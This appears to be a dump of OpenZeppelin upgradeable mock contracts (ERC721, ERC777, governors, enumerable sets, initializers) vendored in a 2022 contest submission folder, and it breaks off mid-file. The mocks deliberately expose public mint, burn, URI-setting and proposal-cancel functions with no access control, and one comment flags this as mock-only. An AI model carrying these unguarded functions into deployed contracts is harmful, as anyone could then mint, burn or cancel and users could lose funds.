FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721ReceiverMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721ReceiverUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC721ReceiverMockUpgradeable is Initializable, IERC721ReceiverUpgradeable {
enum Error {
None,
RevertWithMessage,
RevertWithoutMessage,
Panic
}
bytes4 private _retval;
Error private _error;
event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas);
function __ERC721ReceiverMock_init(bytes4 retval, Error error) internal onlyInitializing {
__ERC721ReceiverMock_init_unchained(retval, error);
}
function __ERC721ReceiverMock_init_unchained(bytes4 retval, Error error) internal onlyInitializing {
_retval = retval;
_error = error;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public override returns (bytes4) {
if (_error == Error.RevertWithMessage) {
revert("ERC721ReceiverMock: reverting");
} else if (_error == Error.RevertWithoutMessage) {
revert();
} else if (_error == Error.Panic) {
uint256 a = uint256(0) / uint256(0);
a;
}
emit Received(operator, from, tokenId, data, gasleft());
return _retval;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721URIStorageMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721URIStorageUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title ERC721Mock
* This mock just provides a public safeMint, mint, and burn functions for testing purposes
*/
contract ERC721URIStorageMockUpgradeable is Initializable, ERC721URIStorageUpgradeable {
string private _baseTokenURI;
function __ERC721URIStorageMock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name, symbol);
__ERC721URIStorage_init_unchained();
__ERC721URIStorageMock_init_unchained(name, symbol);
}
function __ERC721URIStorageMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata newBaseTokenURI) public {
_baseTokenURI = newBaseTokenURI;
}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
_setTokenURI(tokenId, _tokenURI);
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC777MockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../token/ERC777/ERC777Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC777MockUpgradeable is Initializable, ContextUpgradeable, ERC777Upgradeable {
event BeforeTokenTransfer();
function __ERC777Mock_init(
address initialHolder,
uint256 initialBalance,
string memory name,
string memory symbol,
address[] memory defaultOperators
) internal onlyInitializing {
__Context_init_unchained();
__ERC777_init_unchained(name, symbol, defaultOperators);
__ERC777Mock_init_unchained(initialHolder, initialBalance, name, symbol, defaultOperators);
}
function __ERC777Mock_init_unchained(
address initialHolder,
uint256 initialBalance,
string memory name,
string memory symbol,
address[] memory defaultOperators
) internal onlyInitializing {
_mint(initialHolder, initialBalance, "", "");
}
function mintInternal(
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public {
_mint(to, amount, userData, operatorData);
}
function mintInternalExtended(
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) public {
_mint(to, amount, userData, operatorData, requireReceptionAck);
}
function approveInternal(
address holder,
address spender,
uint256 value
) public {
_approve(holder, spender, value);
}
function _beforeTokenTransfer(
address,
address,
address,
uint256
) internal override {
emit BeforeTokenTransfer();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC777SenderRecipientMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777Upgradeable.sol";
import "../token/ERC777/IERC777SenderUpgradeable.sol";
import "../token/ERC777/IERC777RecipientUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/introspection/IERC1820RegistryUpgradeable.sol";
import "../utils/introspection/ERC1820ImplementerUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC777SenderRecipientMockUpgradeable is Initializable, ContextUpgradeable, IERC777SenderUpgradeable, IERC777RecipientUpgradeable, ERC1820ImplementerUpgradeable {
function __ERC777SenderRecipientMock_init() internal onlyInitializing {
__Context_init_unchained();
__ERC1820Implementer_init_unchained();
__ERC777SenderRecipientMock_init_unchained();
}
function __ERC777SenderRecipientMock_init_unchained() internal onlyInitializing {
_erc1820 = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
}
event TokensToSendCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event TokensReceivedCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
// Emitted in ERC777Mock. Here for easier decoding
event BeforeTokenTransfer();
bool private _shouldRevertSend;
bool private _shouldRevertReceive;
IERC1820RegistryUpgradeable private _erc1820;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
if (_shouldRevertSend) {
revert();
}
IERC777Upgradeable token = IERC777Upgradeable(_msgSender());
uint256 fromBalance = token.balanceOf(from);
// when called due to burn, to will be the zero address, which will have a balance of 0
uint256 toBalance = token.balanceOf(to);
emit TokensToSendCalled(
operator,
from,
to,
amount,
userData,
operatorData,
address(token),
fromBalance,
toBalance
);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
if (_shouldRevertReceive) {
revert();
}
IERC777Upgradeable token = IERC777Upgradeable(_msgSender());
uint256 fromBalance = token.balanceOf(from);
// when called due to burn, to will be the zero address, which will have a balance of 0
uint256 toBalance = token.balanceOf(to);
emit TokensReceivedCalled(
operator,
from,
to,
amount,
userData,
operatorData,
address(token),
fromBalance,
toBalance
);
}
function senderFor(address account) public {
_registerInterfaceForAddress(_TOKENS_SENDER_INTERFACE_HASH, account);
address self = address(this);
if (account == self) {
registerSender(self);
}
}
function registerSender(address sender) public {
_erc1820.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, sender);
}
function recipientFor(address account) public {
_registerInterfaceForAddress(_TOKENS_RECIPIENT_INTERFACE_HASH, account);
address self = address(this);
if (account == self) {
registerRecipient(self);
}
}
function registerRecipient(address recipient) public {
_erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, recipient);
}
function setShouldRevertSend(bool shouldRevert) public {
_shouldRevertSend = shouldRevert;
}
function setShouldRevertReceive(bool shouldRevert) public {
_shouldRevertReceive = shouldRevert;
}
function send(
IERC777Upgradeable token,
address to,
uint256 amount,
bytes memory data
) public {
// This is 777's send function, not the Solidity send function
token.send(to, amount, data); // solhint-disable-line check-send-result
}
function burn(
IERC777Upgradeable token,
uint256 amount,
bytes memory data
) public {
token.burn(amount, data);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EnumerableMapMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/structs/EnumerableMapUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract EnumerableMapMockUpgradeable is Initializable {
function __EnumerableMapMock_init() internal onlyInitializing {
__EnumerableMapMock_init_unchained();
}
function __EnumerableMapMock_init_unchained() internal onlyInitializing {
}
using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap;
event OperationResult(bool result);
EnumerableMapUpgradeable.UintToAddressMap private _map;
function contains(uint256 key) public view returns (bool) {
return _map.contains(key);
}
function set(uint256 key, address value) public {
bool result = _map.set(key, value);
emit OperationResult(result);
}
function remove(uint256 key) public {
bool result = _map.remove(key);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _map.length();
}
function at(uint256 index) public view returns (uint256 key, address value) {
return _map.at(index);
}
function tryGet(uint256 key) public view returns (bool, address) {
return _map.tryGet(key);
}
function get(uint256 key) public view returns (address) {
return _map.get(key);
}
function getWithMessage(uint256 key, string calldata errorMessage) public view returns (address) {
return _map.get(key, errorMessage);
}
uint256[47] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EnumerableSetMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
// Bytes32Set
contract EnumerableBytes32SetMockUpgradeable is Initializable {
function __EnumerableBytes32SetMock_init() internal onlyInitializing {
__EnumerableBytes32SetMock_init_unchained();
}
function __EnumerableBytes32SetMock_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set;
event OperationResult(bool result);
EnumerableSetUpgradeable.Bytes32Set private _set;
function contains(bytes32 value) public view returns (bool) {
return _set.contains(value);
}
function add(bytes32 value) public {
bool result = _set.add(value);
emit OperationResult(result);
}
function remove(bytes32 value) public {
bool result = _set.remove(value);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _set.length();
}
function at(uint256 index) public view returns (bytes32) {
return _set.at(index);
}
function values() public view returns (bytes32[] memory) {
return _set.values();
}
uint256[48] private __gap;
}
// AddressSet
contract EnumerableAddressSetMockUpgradeable is Initializable {
function __EnumerableAddressSetMock_init() internal onlyInitializing {
__EnumerableAddressSetMock_init_unchained();
}
function __EnumerableAddressSetMock_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
event OperationResult(bool result);
EnumerableSetUpgradeable.AddressSet private _set;
function contains(address value) public view returns (bool) {
return _set.contains(value);
}
function add(address value) public {
bool result = _set.add(value);
emit OperationResult(result);
}
function remove(address value) public {
bool result = _set.remove(value);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _set.length();
}
function at(uint256 index) public view returns (address) {
return _set.at(index);
}
function values() public view returns (address[] memory) {
return _set.values();
}
uint256[48] private __gap;
}
// UintSet
contract EnumerableUintSetMockUpgradeable is Initializable {
function __EnumerableUintSetMock_init() internal onlyInitializing {
__EnumerableUintSetMock_init_unchained();
}
function __EnumerableUintSetMock_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;
event OperationResult(bool result);
EnumerableSetUpgradeable.UintSet private _set;
function contains(uint256 value) public view returns (bool) {
return _set.contains(value);
}
function add(uint256 value) public {
bool result = _set.add(value);
emit OperationResult(result);
}
function remove(uint256 value) public {
bool result = _set.remove(value);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _set.length();
}
function at(uint256 index) public view returns (uint256) {
return _set.at(index);
}
function values() public view returns (uint256[] memory) {
return _set.values();
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EtherReceiverMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
contract EtherReceiverMockUpgradeable is Initializable {
function __EtherReceiverMock_init() internal onlyInitializing {
__EtherReceiverMock_init_unchained();
}
function __EtherReceiverMock_init_unchained() internal onlyInitializing {
}
bool private _acceptEther;
function setAcceptEther(bool acceptEther) public {
_acceptEther = acceptEther;
}
receive() external payable {
if (!_acceptEther) {
revert();
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorCompMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorCountingSimpleUpgradeable.sol";
import "../governance/extensions/GovernorVotesCompUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract GovernorCompMockUpgradeable is Initializable, GovernorVotesCompUpgradeable, GovernorCountingSimpleUpgradeable {
function __GovernorCompMock_init(string memory name_, ERC20VotesCompUpgradeable token_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__Governor_init_unchained(name_);
__GovernorVotesComp_init_unchained(token_);
__GovernorCountingSimple_init_unchained();
__GovernorCompMock_init_unchained(name_, token_);
}
function __GovernorCompMock_init_unchained(string memory name_, ERC20VotesCompUpgradeable token_) internal onlyInitializing {}
function quorum(uint256) public pure override returns (uint256) {
return 0;
}
function votingDelay() public pure override returns (uint256) {
return 4;
}
function votingPeriod() public pure override returns (uint256) {
return 16;
}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernorUpgradeable, GovernorVotesCompUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorCompatibilityBravoMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/compatibility/GovernorCompatibilityBravoUpgradeable.sol";
import "../governance/extensions/GovernorTimelockCompoundUpgradeable.sol";
import "../governance/extensions/GovernorSettingsUpgradeable.sol";
import "../governance/extensions/GovernorVotesCompUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract GovernorCompatibilityBravoMockUpgradeable is
Initializable, GovernorCompatibilityBravoUpgradeable,
GovernorSettingsUpgradeable,
GovernorTimelockCompoundUpgradeable,
GovernorVotesCompUpgradeable
{
function __GovernorCompatibilityBravoMock_init(
string memory name_,
ERC20VotesCompUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 proposalThreshold_,
ICompoundTimelockUpgradeable timelock_
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__IGovernorCompatibilityBravo_init_unchained();
__Governor_init_unchained(name_);
__GovernorCompatibilityBravo_init_unchained();
__GovernorSettings_init_unchained(votingDelay_, votingPeriod_, proposalThreshold_);
__GovernorTimelockCompound_init_unchained(timelock_);
__GovernorVotesComp_init_unchained(token_);
__GovernorCompatibilityBravoMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, proposalThreshold_, timelock_);
}
function __GovernorCompatibilityBravoMock_init_unchained(
string memory name_,
ERC20VotesCompUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 proposalThreshold_,
ICompoundTimelockUpgradeable timelock_
) internal onlyInitializing {}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165Upgradeable, GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function quorum(uint256) public pure override returns (uint256) {
return 0;
}
function state(uint256 proposalId)
public
view
virtual
override(IGovernorUpgradeable, GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (ProposalState)
{
return super.state(proposalId);
}
function proposalEta(uint256 proposalId)
public
view
virtual
override(IGovernorTimelockUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (uint256)
{
return super.proposalEta(proposalId);
}
function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {
return super.proposalThreshold();
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(IGovernorUpgradeable, GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public virtual override(IGovernorTimelockUpgradeable, GovernorTimelockCompoundUpgradeable) returns (uint256) {
return super.queue(targets, values, calldatas, salt);
}
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public payable virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (uint256) {
return super.execute(targets, values, calldatas, salt);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
/**
* @notice WARNING: this is for mock purposes only. Ability to the _cancel function should be restricted for live
* deployments.
*/
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (uint256 proposalId) {
return super._cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernorUpgradeable, GovernorVotesCompUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function _executor() internal view virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (address) {
return super._executor();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorProposalThresholdUpgradeable.sol";
import "../governance/extensions/GovernorSettingsUpgradeable.sol";
import "../governance/extensions/GovernorCountingSimpleUpgradeable.sol";
import "../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract GovernorMockUpgradeable is
Initializable, GovernorProposalThresholdUpgradeable,
GovernorSettingsUpgradeable,
GovernorVotesQuorumFractionUpgradeable,
GovernorCountingSimpleUpgradeable
{
function __GovernorMock_init(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 quorumNumerator_
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__Governor_init_unchained(name_);
__GovernorProposalThreshold_init_unchained();
__GovernorSettings_init_unchained(votingDelay_, votingPeriod_, 0);
__GovernorVotes_init_unchained(token_);
__GovernorVotesQuorumFraction_init_unchained(quorumNumerator_);
__GovernorCountingSimple_init_unchained();
__GovernorMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, quorumNumerator_);
}
function __GovernorMock_init_unchained(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 quorumNumerator_
) internal onlyInitializing {}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernorUpgradeable, GovernorVotesUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {
return super.proposalThreshold();
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(GovernorUpgradeable, GovernorProposalThresholdUpgradeable) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorTimelockCompoundMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorTimelockCompoundUpgradeable.sol";
import "../governance/extensions/GovernorSettingsUpgradeable.sol";
import "../governance/extensions/GovernorCountingSimpleUpgradeable.sol";
import "../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract GovernorTimelockCompoundMockUpgradeable is
Initializable, GovernorSettingsUpgradeable,
GovernorTimelockCompoundUpgradeable,
GovernorVotesQuorumFractionUpgradeable,
GovernorCountingSimpleUpgradeable
{
function __GovernorTimelockCompoundMock_init(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
ICompoundTimelockUpgradeable timelock_,
uint256 quorumNumerator_
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__Governor_init_unchained(name_);
__GovernorSettings_init_unchained(votingDelay_, votingPeriod_, 0);
__GovernorTimelockCompound_init_unchained(timelock_);
__GovernorVotes_init_unchained(token_);
__GovernorVotesQuorumFraction_init_unchained(quorumNumerator_);
__GovernorCountingSimple_init_unchained();
__GovernorTimelockCompoundMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);
}
function __GovernorTimelockCompoundMock_init_unchained(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
ICompoundTimelockUpgradeable timelock_,
uint256 quorumNumerator_
) internal onlyInitializing {}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function quorum(uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)
returns (uint256)
{
return super.quorum(blockNumber);
}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
/**
* Overriding nightmare
*/
function state(uint256 proposalId)
public
view
virtual
override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (ProposalState)
{
return super.state(proposalId);
}
function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {
return super.proposalThreshold();
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (uint256 proposalId) {
return super._cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernorUpgradeable, GovernorVotesUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function _executor() internal view virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (address) {
return super._executor();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorTimelockControlMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorTimelockControlUpgradeable.sol";
import "../governance/extensions/GovernorSettingsUpgradeable.sol";
import "../governance/extensions/GovernorCountingSimpleUpgradeable.sol";
import "../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract GovernorTimelockControlMockUpgradeable is
Initializable, GovernorSettingsUpgradeable,
GovernorTimelockControlUpgradeable,
GovernorVotesQuorumFractionUpgradeable,
GovernorCountingSimpleUpgradeable
{
function __GovernorTimelockControlMock_init(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
TimelockControllerUpgradeable timelock_,
uint256 quorumNumerator_
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__Governor_init_unchained(name_);
__GovernorSettings_init_unchained(votingDelay_, votingPeriod_, 0);
__GovernorTimelockControl_init_unchained(timelock_);
__GovernorVotes_init_unchained(token_);
__GovernorVotesQuorumFraction_init_unchained(quorumNumerator_);
__GovernorCountingSimple_init_unchained();
__GovernorTimelockControlMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);
}
function __GovernorTimelockControlMock_init_unchained(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
TimelockControllerUpgradeable timelock_,
uint256 quorumNumerator_
) internal onlyInitializing {}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function quorum(uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)
returns (uint256)
{
return super.quorum(blockNumber);
}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, descriptionHash);
}
/**
* Overriding nightmare
*/
function state(uint256 proposalId)
public
view
virtual
override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)
returns (ProposalState)
{
return super.state(proposalId);
}
function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {
return super.proposalThreshold();
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256 proposalId) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernorUpgradeable, GovernorVotesUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function _executor() internal view virtual override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {
return super._executor();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/InitializableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @title InitializableMock
* @dev This contract is a mock to test initializable functionality
*/
contract InitializableMock is Initializable {
bool public initializerRan;
bool public onlyInitializingRan;
uint256 public x;
function initialize() public initializer {
initializerRan = true;
}
function initializeOnlyInitializing() public onlyInitializing {
onlyInitializingRan = true;
}
function initializerNested() public initializer {
initialize();
}
function onlyInitializingNested() public initializer {
initializeOnlyInitializing();
}
function initializeWithX(uint256 _x) public payable initializer {
x = _x;
}
function nonInitializable(uint256 _x) public payable {
x = _x;
}
function fail() public pure {
require(false, "InitializableMock forced failure");
}
}
contract ConstructorInitializableMock is Initializable {
bool public initializerRan;
bool public onlyInitializingRan;
constructor() initializer {
initialize();
initializeOnlyInitializing();
}
function initialize() public initializer {
initializerRan = true;
}
function initializeOnlyInitializing() public onlyInitializing {
onlyInitializingRan = true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MathMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/MathUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract MathMockUpgradeable is Initializable {
function __MathMock_init() internal onlyInitializing {
__MathMock_init_unchained();
}
function __MathMock_init_unchained() internal onlyInitializing {
}
function max(uint256 a, uint256 b) public pure returns (uint256) {
return MathUpgradeable.max(a, b);
}
function min(uint256 a, uint256 b) public pure returns (uint256) {
return MathUpgradeable.min(a, b);
}
function average(uint256 a, uint256 b) public pure returns (uint256) {
return MathUpgradeable.average(a, b);
}
function ceilDiv(uint256 a, uint256 b) public pure returns (uint256) {
return MathUpgradeable.ceilDiv(a, b);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MerkleProofWrapperUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/MerkleProofUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract MerkleProofWrapperUpgradeable is Initializable {
function __MerkleProofWrapper_init() internal onlyInitializing {
